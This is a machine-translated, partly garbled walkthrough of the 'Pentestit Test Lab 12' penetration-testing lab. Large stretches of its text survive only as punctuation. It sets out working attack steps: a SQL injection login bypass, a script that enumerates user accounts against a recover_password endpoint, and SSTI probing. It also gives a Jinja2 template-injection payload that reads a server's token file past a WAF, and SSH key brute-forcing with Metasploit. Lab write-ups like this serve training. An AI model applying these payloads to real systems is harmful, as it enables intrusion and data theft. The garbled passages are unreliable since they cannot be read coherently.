आइए देखें कि कौन सी निर्देशिकाएं हैं। हम पांच निर्देशिकाओं का निरीक्षण करते हैं: contac, get_user_list, पुनर्प्राप्ति_पासवर्ड, लॉगिन, समर्थन। इसलिए यदि आप get_user_list निर्देशिका को देखते हैं, तो वे हमें बताएंगे कि दो पैरामीटर हैं - लॉगिन स्ट्रिंग और पासवर्ड स्ट्रिंग। हम देखते हैं, हम उपयोगकर्ताओं और पासवर्ड का चयन करते हैं - यह कुछ भी नहीं देता है। बारकोड में, support_team को लॉगिन के रूप में आज़माया गया था। और फिर, क्रूरता कहीं भी कुछ भी नहीं देती है।

गलती से एक उद्धरण चिह्न डालने से, हम एक अजीब प्रतिक्रिया पाते हैं।
login=support_team“&password=“ and “1=1“

और हमें उपयोगकर्ताओं की एक सूची दिखाई गई है।

किसी भी उपयोगकर्ता के रूप में लॉग इन करने की कोशिश करते समय, हमें वही त्रुटि मिलती है। सही उपयोगकर्ता ढूंढें: लॉगिन जोड़ी। हम एक स्क्रिप्ट लिखेंगे जो सभी जोड़े के माध्यम से जाएगी और उन लोगों का चयन करेगी जो परीक्षा पास करते हैं।

कोड

 from requests import get list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}] url = "http://172.16.1.20:8000/recover_password" l = len(list_user) valid=[] for i in range(l): print(str(i)+" - " + str(l)) req = get(url, params=list_user[i]) if "use valid credentials" not in req.text: print(list_user[i]) valid.append(list_user[i]) print(valid)

. , «+» , «&» . URLencode .

Image token

, . . file, binwalk hex- . , stegsolve. B 2- 1- rgb. LSB .

, stegsolve, . . PIL python . , – 0, 255 249. . 0 255 – , «0», 249 – «1». , . , , .

 from PIL import Image import binascii image = Image.open('./support4.png') width, height = image.size pix = image.load() r='' for i in range(height): for j in range(width): if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0): r+='1' else: r+='0' token='' for i in range(0,len(r),16): if r[i:i+16] != '0'*16: token+=hex(r[i:i+16].find('1'))[2] print(token)

My token

. /etc/hosts my.test.lab, . . info, sviridov medvedev. info. . . , . wapiti . SQL-inj XSS . SSTI: {{7*7}}. , 49.

, . , (, , . .) . .

, Jinja2 Twig. : {{7*“7“}}. . Jinja2, {{self}}.

: {{config}}. , .

API token

, jinja2 . flask-session-cookie-manager . . info. .

, . . , . , . 2060 . token sviridov, , admin. - , .

RCE ( ) SSTI. , . . flask-cookie.

 {{"".__class__.__mro__[1].__subclasses__()}}

, , python . Popen, .

/var/www/api/token. ( popen 94). B open, ( , WAF ) read().

 {{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}

, , python . . file. *tar.gz . .

Admin token

. ssh. SIEM , .

, ( 600). , , .

, . , SHA , SIEM.

, ( ), , . , .

metasploit framework – scanner/ssh/ssh_login_pubkey. , sidorov.

token.

 find | grep token

निष्कर्ष

- «Pentestit Test lab 12».

, CTF . - - , - , . 13-…

हम एक टेलीग्राम चैनल में हैं: टेलीग्राम में एक चैनल ।

पेंटेस्ट-प्रयोगशाला "पेंटेस्टिट टेस्ट लैब 12" - पूर्ण मार्ग